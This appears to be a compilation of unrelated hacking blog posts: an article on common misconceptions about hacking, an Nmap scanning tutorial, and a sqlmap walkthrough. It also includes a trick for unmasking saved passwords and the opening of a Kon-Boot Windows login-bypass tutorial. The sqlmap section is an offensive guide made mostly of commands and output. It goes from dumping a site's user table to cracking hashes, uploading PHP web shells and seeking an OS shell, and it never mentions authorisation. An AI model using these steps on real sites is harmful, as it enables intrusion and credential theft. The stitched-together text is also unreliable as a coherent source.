Google Analytics

Seven Facts That Nobody Told You About Hacking

Seven Facts That Nobody Told You About Hacking




Online security is increasingly an issue rich for headlines as everyone from movie studios and celebrities to major retailers and CENTCOM find themselves the victims of digital infiltrators. However, “hacking” is also a very technical issue and, like many technical issues, one the media often gets wrong.



So as a citizen of the 21st century, it’s increasingly important to arm yourself with some basic facts about hacking, cybersecurity, and the real threats they pose, as well as those they don’t. With that in mind, here are seven common misconceptions you might have about hacking.



1) Taking down a site is akin to hacking that site



One of the most common headline-grabbing moves by so-called hackers is to take down their site through a DDoS attack. A group calling itself Lizard Squad has been using this method to take down the networks of Playstation and Xbox Live. It’s a common method of protest by the hacker collective Anonymous, which has used it against such varied entities as the Westboro Baptist Church and, most recently, French jihadists.



These are not "hacks," however, in the traditional sense of the term. A "hacker" is defined by the National Initiative for Cybersecurity as "an unauthorized user who attempts to or gains access to an information system." Taking down a website or even a server does not take so much effort and certainly doesn’t demand infiltrating the host of the target. All you need is a simple distributed denial of service, or DDoS.



A DDoS is a network of computers all sending data packets towards one server with the goal of overloading said server. Far from many individuals sending data from their computers, however, the most common form of DDoS consists of networks of computers—typically hacked for this purpose without their owners knowing—all being used to flood a particular target.



These networks of pirate zombie computers are typically open for business: You can special order a DDoS attack on the black market for about $150 a week, similar to hiring a hitman. The attacks on PSN and Xbox, for example, are believed to have been a publicity stunt for Lizard Squad’s very own network-for-hire of home routers it has hacked for the expressed purpose of large-scale DDoS attacks.



But it’s important to remember that a DDoS site takedown is very different from hacking a site. Being able to overload a site or server is a far cry from ransacking the databases of a company, like what happened to Sony last November. To paraphrase a popular xkcd comic, it’s the difference between robbing a store and tearing down a poster the store put up.




2) A hijacked Twitter account means that company has been hacked
This week, the Twitter and YouTube accounts for CENTCOM—the Central Command of the Pentagon—were disrupted by hackers claiming to be fighting in the name of ISIS. While that sounds scary, it’s actually far more common and far less frightening than a successful attack on CENTCOM or any defense agency.



So let’s say you have a Twitter account. As it has happened to many of us, a friend contacts you and asks why you’re tweeting about this great new weight loss method you found. You think: “Crap! Someone hacked into my Twitter account!” Do you then think: “Crap! They must have all my files on my computer?” Of course not. That’s all that has happened with CENTCOM.



This is not to say the CENTCOM hijack isn't important or doesn't have grave implications for the Pentagon. Social media accounts are a good judge for password security as a whole, and if your password and username for Twitter is the same as it is on Instagram, there’s a good chance that, if one is compromised, so is the other. This is why you should be forgoing choosing your own passwords altogether and using a password manager.



Third party apps within sites, however, can threaten the stability of a service. The Syrian Electronic Army, a hacker collective of uncertain origin, has redirected hundreds of URLs by hacking software used to manage banner ads and comment boards. Still, this is a far cry from accessing sensitive data hosted by, say, Forbes or CNN.




3) Hacking takes skill and high-tech software
When a massive cache of nude photos of celebrities hit the Internet last August, the media made the perpetrators into cyberterrorism masterminds. It’s a common mistake to assume “hacks” like the Celebgate leak are done by modern-day wizards, fingers rushing over a keyboard as they coordinate some massive operation. In reality, all this kind of infiltration takes is some simple assumptions.



One of the purposes for security questions on any website is to help the site verify your identity, asking for answers about you (so you won’t forget them) but impersonal enough a stranger couldn’t easily learn them. But when you tell the site the name of your favorite pet, your mother’s maiden name, or your elementary school, you might not think about how easy that information is to find.



Have you ever mentioned your elementary school on Facebook? How about a childhood photo where you’ve tagged your favorite pet? Maybe a memoriam to your late mother wherein you use her maiden name? All of that information can be used by someone to access any account using this information as a “Forgot Password” measure.



Now, instead of just the information you put on social media, imagine you’re a huge celebrity with a Wikipedia page, hundreds of interviews, and a fanbase ravenous for any and every detail about you. What information is so private it can be trusted as a security question?




This is part of a too-often overlooked part of hacking, known as social engineering. Some of the most notorious hackers in history were best at manipulating people into revealing enough data about themselves or their systems. And it’s not just your passwords that are at risk: In 2011, security firm Bancsec showed how, with little more than an email and a phone call, you could rob a bank of $25,000 with no one the wiser.



So with just a little bit of googling and an understanding of human nature, you, too, can be a master hacker like 4chan. Popular culture often gives people the impression that computers and security systems are complex mechanisms that only an engineering whiz can understand. But these portrayals forget that humans are often the weakest part of any system and, therefore, the easiest target.



4) Anonymous is a well-organized group of genius hackers
Perhaps no group has gotten more press for its cyber exploits than Anonymous. As noted above, they often choose high-profile targets for largely simple attacks with explosive results. In the wake of the Sony Pictures hack, for instance, they managed to disrupt the entire North Korean internet with a single DDoS attack.



Far be it for anyone, however, to perceive them as some elite squadron centrally controlled and spread throughout the globe. While their cyberactivism is often impressive, they are purely an opt-in organization. This means that anyone who does anything representing Anonymous is, ipso facto, representing Anonymous. While there does appear to be a core group of organizers, they lack much power over their army of uncertain numbers.




As Gabriella Coleman of the Atlantic wrote back in 2010, "it may be impossible to gauge the intent and motive of thousands of participants, many of whom don't even bother to leave a trace of their thoughts, motivations, and reactions. Among those that do, opinions vary considerably."



This apparent organizational uncertainty and lack of "true" hacking methods has made the group more of a band of merry pranksters than some digital warrior elite. Their reliance on otherwise harmless methods like DDoS are why CNN once called them "the graffiti artists of the Internet."



But that’s not to say fairly sophisticated hacks haven’t been carried out by people claiming to represent Anonymous. Back in 2011, Sony’s Playstation Network was compromised by Anonymous, revealing the personal and financial data of over 100 million users. After that, they moved on to more serious prey, releasing the personal data of the security firm the FBI had hired to help investigate Anonymous. LulzSec, an Anonymous spin-off group, likewise purged information from security contractors and the U.S. Senate. Still, the vast majority of Anonymous actions amount to little more than temporary vandalism.



5) China is the biggest source of hacks against the U.S.
While fighting for the memory of murdered satirists like Anonymous or taking down huge gaming networks like Lizard Squad are good for headlines, they are far afield from the typical large-scale hacking incident.




Real hacks—attempts to steal personal and financial data—actually most often come from low-key targets in Eastern Europe. According to security firm Gartner, 8 percent of all noted hacks come from within Russia. U.S. ally Taiwan, curiously, comes in at second with 3 percent of hacks and Germany and the Ukraine come in at 2.6 percent and 1.8 percent, respectively. For all the hubbub about Chinese hackers, only 0.5 percent of hacks directed at the U.S. or U.S. companies have come from China.



There’s also the problem of finding where a hack came from in the first place, the primary job of firms like Gartner, Norse, and Mandiant. As Gartner Research Director Lawrence Pingree noted in the above blog post, "It is fairly well known by most security professionals that the best hackers on the planet often originate from Russia."



You wouldn’t know this from looking at the headlines. The idea of Chinese cyberespionage, for whatever reason, often finds its way into the news media while Russia’s status as our primary cyberwar antagonist goes mostly unknown among laymen.



6) Cyberattacks by countries are rare and equivalent to an act of war
Despite the notoriety of the supposedly North Korean attack against Sony Pictures, attacks against the U.S. government and American businesses by other countries are astonishingly common.



Every industry is suspect to cyberespionage by nation-states, usually in an attempt to gain an economic advantage. As DJ Summers wrote for Fortune last October, "Pilfered research from the biomedical, energy, finance, software, IT, defense, and aerospace industries creates not only economic gain but state-related advantage." Such varied data as medical patents and the source code for Microsoft applications have been stolen by Chinese and Russian hackers in the interest of competing against US firms.




Just last September, a Senate panel found 20 intrusions by Chinese hackers of defense contractors specializing in the movement and deployment of US troops. The agency that coordinates these efforts, U.S. Transportation Command, only knew about two.



Moves like these, however, are the new face of spying. And much like the cloak-and-dagger tactics of the Cold War, everybody’s doing it. Despite government claims to the contrary, NSA whistleblower Edward Snowden has implicated the U.S. in the same sort of corporate intellectual theft it has decried China for. "If there's information at Siemens [a German manufacturer and conglomerate] that's beneficial to U.S. national interests—even if it doesn't have anything to do with national security," Snowden said in an interview on German television, "then they'll take that information nevertheless."



The drama surrounding the Sony Pictures hack might confuse some people into believing cyberattacks will ultimately reach the front page because they’re so rare and damaging. However, the more salacious attacks are the ones that happen to U.S. companies every day but never make the front page of the paper.



7) Companies have to disclose if they’ve been breached
This is probably the most important misconception to have about cybersecurity as it provides a dangerously false sense of protection. In actuality, most cyberattacks are not merely underreported by the press but never publically disclosed in the first place.




Huge data breaches of credit card numbers and other data at retailers like Home Depot and Target sound the scariest, but most credit card breaches go completely unnoticed. A presentation at last year’s Blackhat Convention (a meeting of the cybersecurity industry) showed how small, point-of-sale companies can be hacked with relative ease. Even though they hold sensitive data, such companies can rarely afford the type of software and staff necessary to thwart a concerted effort by determined identity thieves.



But that’s not to say larger companies with sizable budgets and staff will always report the extent which they’ve been hacked or even be aware that they are currently victim to a hack. Last October, the New York Times reported hackers had free reign on the computers of JPMorgan for two solid months before anyone noticed. Retailer Neiman Marcus had a similar situation for five months and non-profit Goodwill allowed hackers into their system for a year and a half.



But even the hacks that reach the press cannot possibly represent all the hacking that is being done. As Bitsight cofounder Stephen Boyer told Forbes, “The math does not add up between public disclosure and what is actually going on. We know that the problem is much worse than is communicated by breach disclosure.”



There is no law forcing companies to reveal when customer data has been breached and many might avoid doing so to save face and profit. Such disclosures, experts believe, are actually crucial to the future of cybersecurity and a central part of President Barack Obama’s new push for increased cyberdefense.



Such measures could further illuminate the real risks companies, governments, and citizens face online. Cybersecurity, like any complex topic, is often subject to oversimplification and misguided half-truths. In the wake of the Sony Pictures hack, it is clear breaches, leaks, and attacks will continue to be a popular news item, making it more important than ever that every news consumer arm themselves with even a basic understanding of what’s really happening online.

Nmap Tutorial


Nmap Tutorial

Get introduced to the process of port scanning with this Nmap Tutorial and series of more advanced tips. With a basic understanding of networking (IP addresses and Service Ports) you will learn how to not only run a port scanner but also understand what is happening under the hood.

Nmap is the world's leading port scanner, and a popular part of our hosted security tools. Nmap as an online port scanner is able to scan your perimeter network devices and servers from an external perspective; ie outside your firewall.

Getting started with Nmap

Windows or Linux?


Use the operating system that works for you. Nmap will run on a Windows system, however it generally works better and is faster under Linux so that would be my recommended platform. In addition having experience with Linux based systems is a great way to get access to a wide selection of security tools.

The installation steps in this guide are for an Ubuntu Linux based system but could be applied with minor changes to other Linux flavors such as Fedora / Centos, or BSD based system.

If you are not using a Linux based system as your main operating system you will likely find it the most convenient and simple to fire up an installation of Ubuntu Linux in a virtual machine. You can then do the installation, play with Linux and break things without affecting your base system. If you are interested in doing remote scanning such as that provided by hackertarget.com you could get a cheap Ubuntu based VPS from one of hundreds of providers, paying anything from $10 per month to $100 or so. Linode is great for this, providing high quality and good specifications for the price.

Step 1: Operating System Installation

If you need to get a Linux system up and running, a Free virtual machine is Virtualbox. This is an easy to use virtual machine system, you could of course alternatively use VMware or Parallels.

I suggest selecting bridged network for your adapter - this will give your virtual machine an IP address on your local network and then when you are playing with Nmap you can scan your local virtual machine on one IP and your base operating system on another IP and then other devices on your local network. Scanning is fun, just keep in mind that it is also intrusive so only scan systems you own / operate or have permission to scan.

Step 2: Ubuntu Installation

Download the latest Ubuntu iso from www.ubuntu.com, select the ISO as the boot media for your guest and start the virtual machine. Select the install option and Ubuntu will be installed onto the virtual hard disk on the machine.

Step 3: Nmap Installation from source

Ubuntu comes with Nmap in the repositories or software library, however this is not the one we want. In most cases I suggest sticking with the software from the Software Center but in this case there are many benefits you will get from running the latest version of Nmap.

On the download page http://nmap.org/download.html you will see the bzip2 version (you can get the stable or development).

To get the latest feature packed development version, start a terminal (type terminal in the menu of Ubuntu and it will show as an option):

wget http://nmap.org/dist/nmap-5.61TEST5.tar.bz2

Hopefully Internet access from your virtual machine is working, if it is you will soon have the latest in your home directory.

You may need to install g++ in order to compile, you should also install the libssl-dev package as this will enable the SSL testing NSE scripts to work.

sudo apt-get install g++

Now unpack, compile and install. Use the standard configure and make commands when building software from source.

tar jxvf nmap-5.61TEST5.tar.bz2
cd nmap-5.61TEST5/
./configure
make
make install

Running the nmap commmand should will show the available command line options if the installation has been successful.

testuser@ubuntu8:/~$nmap

Nmap 5.61TEST5 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL : Input from list of hosts/networks
-iR : Choose random targets
--exclude : Exclude hosts/networks
--excludefile : Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers : Specify custom DNS servers
--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags : Customize TCP scan flags
-sI : Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b : FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p : Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports : Scan most common ports
--port-ratio : Scan ports more common than
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-intensity : Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=: is a comma separated list of
directories, script-files or script-categories
--script-args=: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=: Show help about scripts.
is a comma separted list of script-files or
script-categories.
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
Options which take are in seconds, or append 'ms' (milliseconds),
's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
-T<0-5>: Set timing template (higher is faster)
--min-hostgroup/max-hostgroup : Parallel host scan group sizes
--min-parallelism/max-parallelism : Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout : Specifies
probe round trip time.
--max-retries : Caps number of port scan probe retransmissions.
--host-timeout : Give up on target after this long
--scan-delay/--max-scan-delay : Adjust delay between probes
--min-rate : Send packets no slower than per second
--max-rate : Send packets no faster than per second
FIREWALL/IDS EVASION AND SPOOFING:
-f; --mtu : fragment packets (optionally w/given MTU)
-D : Cloak a scan with decoys
-S : Spoof source address
-e : Use specified interface
-g/--source-port : Use given port number
--data-length : Append random data to sent packets
--ip-options : Send packets with specified ip options
--ttl : Set IP time-to-live field
--spoof-mac : Spoof your MAC address
--badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
-oN/-oX/-oS/-oG : Output scan in normal, XML, s|: Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
--reason: Display the reason a port is in a particular state
--open: Only show open (or possibly open) ports
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--log-errors: Log errors/warnings to the normal-format output file
--append-output: Append to rather than clobber specified output files
--resume : Resume an aborted scan
--stylesheet : XSL stylesheet to transform XML output to HTML
--webxml: Reference stylesheet from Nmap.Org for more portable XML
--no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
-6: Enable IPv6 scanning
-A: Enable OS detection, version detection, script scanning, and traceroute
--datadir : Specify custom Nmap data file location
--send-eth/--send-ip: Send using raw ethernet frames or IP packets
--privileged: Assume that the user is fully privileged
--unprivileged: Assume the user lacks raw socket privileges
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES

You should now have a list of the various options available, start with the basics then move onto testing different scan options and NSE scripts. You have found the white rabbit, are you going to follow?

As you can see there are a great many variations on port scanning that can be done with Nmap. Hit the book in the column to the right for an in depth guide.

To get started this is a simple command for scanning your local network (class C or /24):

nmap -sV -p 1-65535 192.168.1.1/24

This command will scan all of your local IP range (assuming your in the 192.168.1.0-254 range), and will perform service identification (-sV) and will scan all ports (-p 1-65535). Since you are running this as a normal user and not root it will be TCP Connect based scan. If you run the command with sudo at the front it will run as a TCP SYN scan.

Zenmap for those who like to click

Start zenmap either from the command line or through your menu. This is the GUI interface to the Nmap scanner. It is solid and works, I prefer the command line as it allows you to script things, collect the output and have more understanding of what's going on. One nice feature of the Zenmap scanner is the graphical map of the scanned networks, a bit of eye candy if nothing else.

Understanding Open, Closed and Filtered


Nmap has a variety of scan types, understanding how the default and most common SYN scan works is a good place to start to examine how the scan works and interpreting the results.

The 3 way TCP handshake

First a bit of background, during communication with a TCP service, a single connection is established with the TCP 3 way handshake. This involves a SYN sent to an TCP open port that has a service bound to it, typical examples are HTTP (port 80), SMTP (port 25), POP3 (port 110) or SSH (port 22).

The server side will see the SYN and respond with SYN ACK, with the client answering the SYN ACK with an ACK. This completes the set up and the data of the service protocol can now be communicated.


In this example the firewall passes the traffic to the web server (HTTP -> 80) and the web server responds with the acknowledgement.

In all these examples a firewall could be a separate hardware device, or it could be a local software firewall on the host computer.

Filtered ports or when the Firewall drops a packet

The job of a firewall is to protect a system from unwanted packets that could harm the system. In this simple example the port scan is conducted against port 81, there is no service running on this port using a firewall to block access to it is best practice.


In the case of a filtered port result from Nmap it indicates that the port has not responded at all the SYN packet has simply been dropped by the firewall. See the following Wireshark packet capture, that shows the initial packet with no response.


Closed ports or when the Firewall fails

In this case the closed ports most commonly indicate that there is no service running on the port but the firewall has allowed the connection to go through to the server. It can also mean there is no firewall at all present.

Note that while we are discussing the most common scenarios here it is possible to configure a firewall to reject packets rather than drop. This would mean packets hitting the firewall would be seen as closed (the firewall is responding with RST ACK).

Pictured below is a case where a firewall rule allows the packet on port 81 through even though there is no service listening on the port. This is most likely due to the fact that the firewall is poorly configured.


An Open Port (service) is found

Open Ports are usually what you are looking for when kicking off Nmap scans. The open service could be a publicly accessible service that is by its nature supposed to be accessible. It could also be a back-end service that does not need to be publicly accessible and therefore should be blocked by a firewall.


An interesting thing to notice in the wireshark capture is the RST packet sent after accepting the SYN ACK from the web server. The RST is sent by Nmap as the state of the port (open) has been determined by the SYN ACK if we were looking for further information such as the HTTP service version or to get the page, the RST would not be sent. A full connection would be established.

Hacking Nmap Video from Defcon 13

This video contains some interesting Nmap features, the presenter is Fyodor the creator of the Nmap port scanner.

DefCon Hacking Nmap

Hacking website using SQLMAP tool

Sqlmap


Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql injections.

Sqlmap is included in pen testing linux distros like kali linux, backtrack, backbox etc. On other distros it can be simply downloaded from the following url

http://sqlmap.org/.

Since its written in python, first you have to install python on your system. On ubuntu install python from synaptic. On windows install activestate python. Check out this post for details on how to install and run sqlmap on windows.

For the list of options and parameters that can be used with the sqlmap command, check the sqlmap documentation at
https://github.com/sqlmapproject/sqlmap/wiki/Usage

In this tutorial we are going to learn how to use sqlmap to exploit a vulnerable web application and see what all can be done with such a tool.

To understand this tutorial you should have thorough knowledge of how database driven web applications work. For example those made with php+mysql.

Vulnerable Urls

Lets say there is a web application or website that has a url in it like this

http://www.site.com/section.php?id=51

and it is prone to sql injection because the developer of that site did not properly escape the parameter id. This can be simply tested by trying to open the url

http://www.site.com/section.php?id=51'

We just added a single quote in the parameter. If this url throws an error or reacts in an unexpected manner then it is clear that the database has got the unexpected single quote which the application did not escape properly. So in this case this input parameter "id" is vulnerable to sql injection.


Hacking with sqlmap

Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the terminal with the python interpreter.

python sqlmap.py -u "http://www.site.com/section.php?id=51"

The above is the first and most simple command to run with the sqlmap tool. It checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version. Here is how the output might look like

[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

So the sqlmap tool has discovered the operating system, web server and database along with version information. Even this much is pretty impressive. But its time to move on and see what more is this tool capable of.

Discover Databases

Once sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable the next step is to find out the names of the databases that exist on the remote system. The "--dbs" option is used to get the database list.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

The output could be something like this

[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics

The output shows the existing databases on the remote system.

Find tables in a particular database

Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is 'safecosmetics'

Command

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

and the output can be something similar to this

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
........... more tables

isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.

Get columns of a table

Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is 'users' and it contains the username and password.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

The output can be something like this

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text

.......

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]

+-------------------+--------------+
| Column | Type |
+-------------------+--------------+
| email | text |
| hash | varchar(128) |
| id | int(11) |
| name | text |
| password | text |
| permission | tinyint(4) |
| system_allow_only | text |
| system_home | text |
+-------------------+--------------+

So now the columns are clearly visible. Good job!


Get data from a table


Now comes the most interesting part, of extracting the data from the table. The command would be

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

The above command will simply dump the data of the particular table, very much like the mysqldump command.
The output might look similar to this

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash | name | email | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1 | 5DIpzzDHFOwnCvPonu | admin | | | 3 | | |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.

So far we have been able to collect a lot of information from the remote database using sqlmap. Its almost like having direct access to remote database through a client like phpmyadmin. In real scenarios hackers would try to gain a higher level to access to the system. For this, they would try to crack the password hashes and try to login through the admin panel. Or they would try to get an os shell using sqlmap.

I wrote another post on using sqlmap to get more details about remote databases. It explains the other options of sqlmap that are useful to find the out the database users, their privileges and their password hashes.

What Next ?

Execute arbitrary sql queries

This is probably the easiest thing to do on a server that is vulnerable to sql injection. The --sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.

Another paramter --sql-shell would give an sql shell like interface to run queries interactively.

Get inside the admin panel and play

If the website is running some kind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by brute forcing or google.com.

Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or pass thru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.

Shell on remote OS

This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call --os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.

According to the sqlmap manual

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

The most important privilege needed by the current database user is to write files through the database functions. This is absent in most cases. Hence this technique will not work in most cases.

Note

1. Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of "testing connection to the target url". In such cases its helpful to use the "--random-agent" option. This makes sqlmap to use a valid user agent signature like the ones send by a browser like chrome or firefox.

2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like http://www.site.com/class_name/method/43/80.

In such cases sqlmap needs to be told the injection point marked by a *

http://www.site.com/class_name/method/43*/80

The above will tell sqlmap to inject at the point marked by *

3. When using forms that submit data through post method then sqlmap has to be provided the post data in the "--data" options. For more information check out this tutorial on using sqlmap with forms.

Reveal Asterisk Saved Passwords On Mozilla Firefox And Chrome


This tips and trick about Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome is continuing our last tips and trick about How to Reveal Asterisks Password on Log In Page where on our previous tips and trick maybe not too clear and its only limited with a few browsers.



We will learn how to reveal the asterisk on Mozilla Firefox and Google Chrome without seeing the saved password from the browser options menu. Thanks to JOK3R for the comment on last tips and trick that giving an input for other method to reveal the asterisk on log in page by utilizing firebug and inspecting the HTML element.

If you still never heared about Firebug, here is the description from wikipedia:

Firebug is a web development tool that facilitates the debugging, editing, and monitoring of any website's CSS, HTML, DOM, XHR, and JavaScript; it also provides other web development tools.[2] Firebug's JavaScript panel can log errors, profile function calls, and enable the developer to run arbitrary JavaScript. Its net panel can monitor URLs that the browser requests, such as external CSS, JavaScript, and image files. The net panel can display both request headers and response headers for each page asset; it can also estimate the time each asset took to load.

Requirements:

1. Mozilla firefox with firebug addons.

2. Google chrome.

Step by step to Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome:

1. Open our Mozilla Firefox browser,

press ALT –> click Tools –> Click Add-ons

2. On Add-ons page, there is a search box, type firebug on the textbox and click search, or you can go directly to this page https://addons.mozilla.org/en-US/firefox/addon/firebug/.

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome



Click install if there is a pop out window asking you to install this add ons.

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome

and restart your browser.

3. This is the firebug button. to activate firebug you only need to click this button and click once again to deactivate.

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome

4. Now we try to open a website with log in page, e.g: mail.live.com and input the password. Right click on the password box and choose Inspect Element.

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome

5. Double click the type="password" and change it into type="text".

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome

6. The asterisk password will be shown and revealed 🙂

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome

7. How if it is on Google Chrome browser? The steps is the same.

Open the log in page, right click the password box and choose inspect element

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome

8. Change the input type="password" to type="text".

Reveal Asterisk Saved Passwords on Mozilla Firefox and Chrome

The password is revealed.

Here is the video tutorial if you don't get the step by step above.

Watch here Reveal Asterisk Saved Passwords On Mozilla Firefox And Chrome

Hacking Tutorials Log In Windows Without Password With Kon Boot

Hacking Tutorials Log In Windows Without Password With Kon Boot


I think this hacking tutorial, Log in Windows Without Password with Kon Boot, will be easy to follow using the step-by-step instructions. The purpose of this tutorial is to demonstrate the importance of physical security and explain how to prevent this kind of attack. Three or four days ago I watched a BBC program about spying. In the episode, they showed how a spy device can be put silently on your motherboard, again… physical security is very important. For most people, it wouldn’t be a big deal because we carry our computer wherever we go, but it could become a big problem for firms who have lots of important data on employee computers.



What Wikipedia says about Physical Security:

Physical security describes security measures that are designed to deny unauthorized access to facilities, equipment and resources, and to protect personnel and property from damage or harm (such as espionage, theft, or terrorist attacks).

Physical security in this tutorial is part of Information Security, which Wikipedia describes as:

